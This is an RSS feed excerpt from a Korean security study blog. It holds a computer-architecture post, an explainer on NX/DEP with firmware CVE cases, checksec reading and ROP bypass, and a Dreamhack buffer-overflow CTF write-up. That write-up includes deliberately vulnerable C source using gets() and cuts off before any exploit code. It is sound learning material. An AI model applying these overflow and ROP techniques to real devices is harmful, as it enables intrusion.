&lt;li&gt;&lt;b&gt;NX&lt;/b&gt;도 &quot;이 가상 메모리 페이지는 실행 금지&quot;라고 페이지 단위로 표시하는 것.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;정리&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;메모리는 &lt;b&gt;빠르고 작은 것(레지스터&amp;middot;캐시)부터 느리고 큰 것(RAM&amp;middot;디스크)까지 계층으로&lt;/b&gt; 쌓인다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;지역성&lt;/b&gt;(시간&amp;middot;공간) 덕분에 작은 캐시로도 대부분의 접근을 빠르게 처리한다.&lt;/li&gt;
&lt;li&gt;프로그램이 보는 주소는 &lt;b&gt;가상 메모리&lt;/b&gt;이며, 이게 격리&amp;middot;스왑&amp;middot;ASLR&amp;middot;NX의 토대다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5편 성능&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컴퓨터 구조 (5) 성능 &amp;mdash; 무엇이 컴퓨터를 빠르게 만드는가&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 클럭만 보면 안 되는 이유 &amp;mdash; 성능 공식&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로그램 실행 시간은 세 가지의 곱으로 분해된다.&lt;/p&gt;
&lt;pre class=&quot;avrasm&quot;&gt;&lt;code&gt;실행 시간 = 명령어 수 &amp;times; CPI &amp;times; 클럭 주기
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요소 의미 영향을 주는 것&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;명령어 수&lt;/td&gt;
&lt;td&gt;프로그램이 몇 개의 기계어로 이뤄졌나&lt;/td&gt;
&lt;td&gt;컴파일러, 알고리즘&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CPI (Cycles Per Instruction)&lt;/td&gt;
&lt;td&gt;명령어 하나당 평균 사이클 수&lt;/td&gt;
&lt;td&gt;파이프라인, 캐시 미스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;클럭 주기&lt;/td&gt;
&lt;td&gt;한 사이클이 얼마나 짧은가&lt;/td&gt;
&lt;td&gt;&quot;3GHz&quot; = 초당 30억 사이클&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;핵심 통찰&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;클럭(GHz)은 셋 중 하나일 뿐이다.&lt;/b&gt; 클럭이 높아도 CPI가 나쁘거나(캐시 미스 폭발) 명령어 수가 많으면 느리다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 &quot;A칩 3GHz, B칩 2.5GHz니까 A가 빠르다&quot;는 단순 비교가 자주 틀린다. ARM 맥북이 더 낮은 클럭으로도 빠른 게 CPI와 명령어 효율 덕분이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 왜 클럭 경쟁이 멈췄나 &amp;mdash; 멀티코어로 간 이유&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2000년대 초까지 성능을 올리는 가장 쉬운 길은 클럭을 높이는 것이었다. 그런데 벽에 부딪혔다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;파워 월 (power wall)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;클럭을 올릴수록 전력 소비와 발열이 폭증한다&lt;/b&gt; (대략 클럭의 제곱 이상). 어느 선을 넘으니 칩이 녹을 지경이 돼서 클럭 경쟁이 사실상 멈췄다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;멀티코어로 전환&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 코어를 더 빠르게 만드는 대신 &lt;b&gt;느리더라도 코어를 여러 개&lt;/b&gt; 두기로 했다. 요즘 CPU의 &quot;8코어, 16코어&quot;가 이 흐름의 결과다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;함정: 암달의 법칙 (Amdahl's law)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코어가 8개라고 프로그램이 자동으로 8배 빨라지지 않는다. 일을 8조각으로 나눠 동시에 시켜야 하는데, 나눌 수 없는 부분(순차적으로 해야만 하는 부분)이 발목을 잡는다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전체 중 병렬화 가능한 비율이 최대 속도 향상의 한계를 정한다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예: 프로그램의 90%만 병렬화되면, 코어를 무한히 늘려도 최대 10배까지밖에 못 빨라진다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 성능을 어떻게 재나 &amp;mdash; 벤치마크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식만으로는 실사용 성능을 다 못 잡아서, &lt;b&gt;벤치마크(benchmark)&lt;/b&gt; 라는 표준 작업 묶음을 돌려 비교한다. (대표: SPEC)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;벤치마크에만 최적화하면 실제 체감과 어긋날 수 있어서 여러 종류를 함께 본다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;정리&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;성능은 &lt;b&gt;명령어 수 &amp;times; CPI &amp;times; 클럭 주기&lt;/b&gt;로 분해되고, 클럭은 그중 하나일 뿐이다.&lt;/li&gt;
&lt;li&gt;클럭 경쟁은 발열(&lt;b&gt;파워 월&lt;/b&gt;)로 멈췄고, 그래서 &lt;b&gt;멀티코어&lt;/b&gt;로 갔다.&lt;/li&gt;
&lt;li&gt;멀티코어에는 &lt;b&gt;암달의 법칙&lt;/b&gt;이라는 한계가 있다.&lt;/li&gt;
&lt;li&gt;측정은 &lt;b&gt;벤치마크&lt;/b&gt;로 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <author>whffu0123</author>
      <guid isPermaLink="true">https://gahyun0123.tistory.com/21</guid>
      <comments>https://gahyun0123.tistory.com/21#entry21comment</comments>
      <pubDate>Wed, 24 Jun 2026 17:26:55 +0900</pubDate>
    </item>
    <item>
      <title>NX CVE</title>
      <link>https://gahyun0123.tistory.com/20</link>
      <description>&lt;h1&gt;NX(DEP) 완화 기법과 CVE &amp;mdash; 미적용 사례부터 ROP 우회까지&lt;/h1&gt;
&lt;h1&gt;&lt;span style=&quot;color: #333333; font-size: 16px; letter-spacing: 0px;&quot;&gt;시스템 해킹 공부 정리. NX가 무엇이고, NX가 적용되지 않아 취약점이 발생한 실제 CVE 사례들, 그리고 NX가 있어도 뚫는 ROP 우회 개념까지 정리한다.&lt;/span&gt;&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;NX란 무엇인가&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;NX(Non-eXecutable), DEP(Data Execution Prevention)&lt;/b&gt; 는 메모리 영역을 &quot;쓰기 가능&quot;과 &quot;실행 가능&quot;으로 구분해, &lt;b&gt;데이터 영역(스택&amp;middot;힙)에서의 코드 실행을 막는&lt;/b&gt; 보안 완화(mitigation) 기법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;NX 자체는 결함이 아니라 방어 기술이다. 따라서 CVE는 보통 다음 두 경우에 발급된다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;NX가 &lt;b&gt;적용되지 않아&lt;/b&gt; 셸코드 직행이 성립한 경우&lt;/li&gt;
&lt;li&gt;NX 강제 메커니즘 자체에 구현 결함이 있는 경우&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ROP 같은 우회 기법은 그 자체로 CVE가 아니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. NX가 적용되지 않아 발생한 CVE 사례&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CVE는 결함의 근본 원인(buffer overflow 등)만 기술하고, NX 부재는 그 버그를 셸코드 직행으로 익스플로잇 가능하게 만드는 &lt;b&gt;환경 조건&lt;/b&gt;으로서 익스플로잇 라이트업에 드러난다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 NX 미적용 사례는 거의 전적으로 &lt;b&gt;임베디드/IoT 펌웨어&lt;/b&gt;(특히 MIPS&amp;middot;ARM) 영역에 몰려 있다. 이 기기들은 NX를 아예 안 켜서 고전적 셸코드 인젝션이 그대로 통한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;사례 A &amp;mdash; o2 HomeBox 6441 라우터 (MIPS)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 교과서적인 사례. 분석에 따르면 ASLR은 부분적으로만(스택만 랜덤화, 힙은 고정) 적용됐고 NX는 전혀 사용되지 않아 힙과 스택이 실행 가능 상태였다. 그 결과 공격자가 힙이나 스택에 셸코드를 주입하고 리턴 주소(EIP)를 그 주소로 덮어써서 실행할 수 있었다. 힙이 ASLR 영향을 안 받아 셸코드를 신뢰성 있게 배치&amp;middot;호출할 수 있었던 것이 핵ㄱ심이다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;사례 B &amp;mdash; Tenda F453 라우터 (CVE-2026-3726)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/goform/webExcptypemanFilter 엔드포인트의 스택 버퍼 오버플로. page 인자의 길이를 검증 없이 고정 크기 스택 버퍼에 복사해, 원격&amp;middot;비인증 공격자가 실행 흐름을 탈취하고 셸코드로 리다이렉트할 수 있다. Tenda 계열은 NX 미적용 펌웨어의 단골이다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;사례 C &amp;mdash; D-Link 라우터 (MIPS)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Qiling 에뮬레이션 익스플로잇 연구에서, 연구자는 &quot;스택의 코드가 실행 가능하다(NX 비트 없음)&quot;는 것을 안전한 가정으로 두고 진행했다. 이런 저가 라우터들에서 NX 부재는 거의 기본 전제다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;공통 패턴: checksec&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 부류 바이너리를 checksec으로 보면 다음처럼 뜬다.&lt;/p&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;Arch:     mips-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled          &amp;larr; 스택/힙 실행 가능
PIE:      No PIE (0x400000)
RWX:      Has RWX segments     &amp;larr; 쓰기+실행 가능 영역 존재
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;checksec은 바이너리에 어떤 보안 완화 기법이 걸려 있는지 한눈에 보여주는 도구다. 이 출력 한 장이 &quot;이 바이너리를 어떻게 공략할지&quot; 작전을 짜는 출발점이 된다. 각 줄을 해부하면 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;줄 의미 공격자 입장&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Arch: mips-32-little&lt;/td&gt;
&lt;td&gt;아키텍처(ISA)&amp;middot;비트&amp;middot;엔디안. MIPS 32비트 리틀엔디안&lt;/td&gt;
&lt;td&gt;페이로드를 이 아키텍처에 맞춰 작성해야 함 (x86 셸코드 못 씀)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RELRO: Partial RELRO&lt;/td&gt;
&lt;td&gt;GOT를 읽기 전용으로 만들어 GOT 덮어쓰기를 막는 기법. Partial은 일부만 보호&lt;/td&gt;
&lt;td&gt;GOT 일부를 여전히 덮어쓸 수 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stack: No canary found&lt;/td&gt;
&lt;td&gt;버퍼와 리턴 주소 사이의 &quot;경비병&quot; 값(카나리)이 없음&lt;/td&gt;
&lt;td&gt;BOF로 리턴 주소를 덮어도 탐지 없이 통과&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NX: NX disabled&lt;/td&gt;
&lt;td&gt;데이터 영역(스택&amp;middot;힙)이 실행 가능 상태&lt;/td&gt;
&lt;td&gt;셸코드를 올리고 그 주소로 점프하면 그대로 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PIE: No PIE (0x400000)&lt;/td&gt;
&lt;td&gt;코드가 항상 고정 주소(0x400000)에 적재됨&lt;/td&gt;
&lt;td&gt;코드&amp;middot;함수 주소를 미리 알 수 있어 점프&amp;middot;가젯 탐색이 쉬움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RWX: Has RWX segments&lt;/td&gt;
&lt;td&gt;읽기&amp;middot;쓰기&amp;middot;실행이 동시에 허용된 영역 존재 (W^X 원칙 깨짐)&lt;/td&gt;
&lt;td&gt;셸코드를 써넣고 바로 실행 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;왜 &quot;NX disabled + Has RWX&quot;가 결정적인가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 둘은 같은 사실의 양면이다. NX의 역할이 &quot;쓰기 가능한 영역을 실행 불가로 묶는 것&quot;인데, NX가 꺼지면 그 결과로 쓰기+실행이 동시에 되는 RWX 영역이 생긴다. 그래서 둘이 세트로 뜬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 조합이 의미하는 건, 공격자가 (1) 버퍼에 셸코드를 써넣고 (2) 리턴 주소를 그 셸코드 위치로 덮은 뒤 (3) 함수가 리턴하면서 셸코드로 점프 &amp;rarr; 실행, 이 고전적인 &quot;스택 셸코드 직행&quot;이 아무 우회 기법 없이 통한다는 것이다. 위 출력은 보호 기법이 거의 다 꺼진, 연습용 또는 구형 임베디드 바이너리의 전형적인 모습이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. NX가 있으면 어떻게 막히나&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;NX가 켜지면 스택 페이지가 rw-(읽기&amp;middot;쓰기 가능, 실행 불가)로 표시된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;고전 방식대로 스택에 셸코드를 올리고 그 주소로 점프하면, CPU가 &quot;데이터 영역에서 실행하려 한다&quot;며 거부하고 SIGSEGV로 죽는다. 셸코드 직행이 막힌 것이다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;스택 권한&lt;/td&gt;
&lt;td&gt;rwx (실행 가능)&lt;/td&gt;
&lt;td&gt;rw- (실행 불가)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;스택에 올린 셸코드로 점프&lt;/td&gt;
&lt;td&gt;실행됨 &amp;rarr; 성공&lt;/td&gt;
&lt;td&gt;거부 &amp;rarr; SIGSEGV&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. ROP &amp;mdash; NX가 있어도 뚫는 우회&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;NX가 막혔다고 끝이 아니다. 공격자는 발상을 바꾼다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새 코드를 안 올리면 된다. 이미 프로그램&amp;middot;라이브러리(libc 등) 안에 있는 코드는 어차피 실행 권한(r-x)이 있으니, 그걸 재조립해서 쓰자.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;가젯(gadget)과 체인&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로그램 안에는 pop rdi; ret, pop rsi; ret, system 호출부처럼 &lt;b&gt;끝이 ret로 끝나는 짧은 코드 조각&lt;/b&gt;이 널려 있다. 이걸 &lt;b&gt;가젯&lt;/b&gt;이라 부른다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 스택에 셸코드 대신 &lt;b&gt;가젯들의 주소를 줄줄이 나열&lt;/b&gt;한다. ret 명령은 &quot;스택에서 주소 하나 꺼내서 그리로 점프&quot;하는 동작이라, 가젯이 끝날 때마다 다음 가젯으로 점프가 이어진다. 이렇게 가젯들이 사슬(chain)처럼 연결돼 원하는 동작을 수행한다.&lt;/p&gt;
&lt;pre class=&quot;gcode&quot;&gt;&lt;code&gt;스택 (rw-, 실행 불가)          기존 코드 (r-x, 실행 가능)
┌────────────────────┐        ┌──────────────────────┐
│ 가젯1 주소  ────────┼───────▶│ pop rdi; ret         │
│ &quot;/bin/sh&quot; 주소(인자)│        │ system()             │
│ 가젯2 주소  ────────┼───────▶│ ...                  │
└────────────────────┘        └──────────────────────┘
   주소 목록만 담음               실행은 전부 여기서
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;핵심: NX 규칙을 위반하지 않는다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행되는 코드는 전부 원래 .text나 libc의 실행 가능 영역에 있다. 스택은 여전히 데이터로만 쓰인다(가젯 주소 목록을 담는 용도). &lt;b&gt;NX 규칙을 단 한 번도 어기지 않는다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 &quot;NX가 있어도 ROP로 우회했다&quot;는 건 NX를 뚫거나 끈 게 아니라, 셸코드를 안 올리고 기존 코드 조각을 재조립해 같은 효과를 냈다는 뜻이다. ROP는 익스플로잇 기법이지 결함이 아니므로, CVE는 ROP를 가능케 한 &lt;b&gt;원래의 메모리 손상 버그&lt;/b&gt;에 발급된다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 방어의 진화 사슬&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ROP는 &quot;기존 코드의 주소를 정확히 알아야&quot; 성립한다. 그래서 다음 방어가 나온다.&lt;/p&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;스택 셸코드 직행
   │  (셸코드를 데이터 영역에서 실행)
   ▼
NX / DEP 도입
   │  데이터 영역 실행 금지
   ▼
ROP / ret2libc
   │  기존 코드 재활용으로 우회 (NX 위반 없음)
   ▼
ASLR 도입
   │  코드&amp;middot;라이브러리 주소를 매번 랜덤화 &amp;rarr; 가젯 주소를 모르게
   ▼
메모리 누수(leak) + ROP
      주소를 흘려 알아낸 뒤 ROP 체인 구성
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실전 익스플로잇은 보통 &quot;메모리 누수로 주소 알아내기(ASLR 우회) &amp;rarr; ROP 체인(NX 우회)&quot; 두 단계를 함께 쓴다. NX 하나만 우회하는 게 아니라, 완화 기법들이 쌓인 만큼 우회도 겹겹이 쌓는 것.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;정리&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;NX는 데이터 영역의 실행을 막는 완화 기법&lt;/b&gt;이지 그 자체가 결함이 아니다.&lt;/li&gt;
&lt;li&gt;&quot;NX 미적용 CVE&quot;는 CVE 설명문이 아니라 &lt;b&gt;익스플로잇 라이트업&lt;/b&gt;에서 드러나며, 거의 &lt;b&gt;임베디드/IoT 펌웨어&lt;/b&gt;(MIPS&amp;middot;ARM)에 몰려 있다. checksec의 NX disabled + Has RWX segments가 그 신호.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;ROP는 NX를 뚫는 게 아니라 위반하지 않고 우회&lt;/b&gt;한다. 기존 코드 가젯을 ret으로 연결해 재활용하므로, CVE는 기반이 된 메모리 손상 버그에 귀속된다.&lt;/li&gt;
&lt;li&gt;방어는 &lt;b&gt;NX &amp;rarr; ROP &amp;rarr; ASLR &amp;rarr; leak+ROP&lt;/b&gt;로 진화해 왔다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;참고&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;o2 HomeBox 6441 라우터 익스플로잇 분석 (NSIDE Attack Logic)&lt;/li&gt;
&lt;li&gt;Tenda F453 스택 오버플로 (CVE-2026-3726)&lt;/li&gt;
&lt;li&gt;D-Link 라우터 MIPS 익스플로잇 (Qiling 에뮬레이션 연구)&lt;/li&gt;
&lt;/ul&gt;</description>
      <author>whffu0123</author>
      <guid isPermaLink="true">https://gahyun0123.tistory.com/20</guid>
      <comments>https://gahyun0123.tistory.com/20#entry20comment</comments>
      <pubDate>Wed, 24 Jun 2026 16:23:04 +0900</pubDate>
    </item>
    <item>
      <title>Basic_Exploitation 001</title>
      <link>https://gahyun0123.tistory.com/19</link>
      <description>&lt;h1&gt;Dreamhack basic_exploitation_001 Write-up&amp;nbsp;&lt;/h1&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 문제 개요&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스택 버퍼 오버플로우로 반환 주소(RET)를 덮는 것이 목표다. 이번엔 셸을 따는 함수 대신 &lt;b&gt;cat /flag를 실행해주는 read_flag() 함수가 이미 바이너리 안에 들어있다.&lt;/b&gt; 따라서 셸코드를 만들 필요 없이, RET를 read_flag의 주소로 덮기만 하면 플래그가 출력된다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;out_of_bound&lt;/td&gt;
&lt;td&gt;No PIE&lt;/td&gt;
&lt;td&gt;OOB 인덱스로 system(&quot;/bin/sh&quot;) 호출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;cmd_center&lt;/td&gt;
&lt;td&gt;No Canary&lt;/td&gt;
&lt;td&gt;오버플로우로 인접 변수 변조 + strncmp 우회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rao&lt;/td&gt;
&lt;td&gt;No Canary + No PIE&lt;/td&gt;
&lt;td&gt;오버플로우로 RET를 get_shell 주소로 변조&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;basic_exploitation_000&lt;/td&gt;
&lt;td&gt;No Canary + NX disabled&lt;/td&gt;
&lt;td&gt;셸코드를 주입하고 RET를 buf 주소로 변조&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;basic_exploitation_001&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;No Canary + No PIE&lt;/td&gt;
&lt;td&gt;오버플로우로 RET를 read_flag 주소로 변조&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;rao와 사실상 동일하며, 점프 대상만 get_shell &amp;rarr; read_flag로 바뀌었다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 보호기법 분석 (checksec)&lt;/h2&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;Arch:     i386-32-little        &amp;rarr; 32비트, p32 / context.arch=&quot;i386&quot;
RELRO:    No RELRO
Stack:    No canary found       &amp;rarr; 오버플로우로 RET까지 자유롭게 덮기 가능
NX:       NX enabled            &amp;rarr; 스택 실행 불가 (그러나 이번 풀이엔 무관)
PIE:      No PIE (0x8048000)    &amp;rarr; read_flag 주소 고정
Stripped: No                   &amp;rarr; 심볼 존재, ELF로 read_flag 주소 자동 추출 가능
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;000과의 결정적 차이 &amp;mdash; NX&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;000은 &lt;b&gt;NX disabled&lt;/b&gt;라서 스택에 셸코드를 심고 실행할 수 있었다. 반면 001은 &lt;b&gt;NX enabled&lt;/b&gt;다. 스택의 셸코드는 실행되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그런데 이번 풀이는 &lt;b&gt;NX의 영향을 받지 않는다.&lt;/b&gt; 셸코드를 스택에 올리지 않고, 이미 코드 영역(실행 권한 있음)에 존재하는 read_flag 함수로 점프만 하기 때문이다. 이것이 &quot;셸코드 주입&quot;과 &quot;함수 재사용&quot;의 핵심 차이다 &amp;mdash; NX가 켜지면 전자는 막히지만 후자는 통한다. (NX가 막는 것은 데이터 영역의 코드 실행이지, 원래 코드 영역의 실행이 아니다.)&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 소스 코드 분석&lt;/h2&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;signal.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

void alarm_handler() {
    puts(&quot;TIME OUT&quot;);
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void read_flag() {
    system(&quot;cat /flag&quot;);   // &amp;larr; 이 함수로 점프하면 플래그 출력
}

int main(int argc, char *argv[]) {
    char buf[0x80];        // 128바이트
    initialize();
    gets(buf);             // &amp;larr; 취약점: 길이 무제한
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;취약점 지점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;gets(buf)는 입력 길이를 &lt;b&gt;전혀 제한하지 않는다.&lt;/b&gt; buf(128바이트)보다 훨씬 긴 입력으로 스택을 넘쳐 RET까지 덮을 수 있다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;000과의 입력 함수 차이&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;000 001&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;입력 함수&lt;/td&gt;
&lt;td&gt;scanf(&quot;%141s&quot;)&lt;/td&gt;
&lt;td&gt;gets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;길이 제한&lt;/td&gt;
&lt;td&gt;141바이트&lt;/td&gt;
&lt;td&gt;무제한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;공백 바이트 절단&lt;/td&gt;
&lt;td&gt;&lt;b&gt;있음&lt;/b&gt; (0x09,0x0a,0x0b,0x0c,0x0d,0x20에서 끊김)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;없음&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
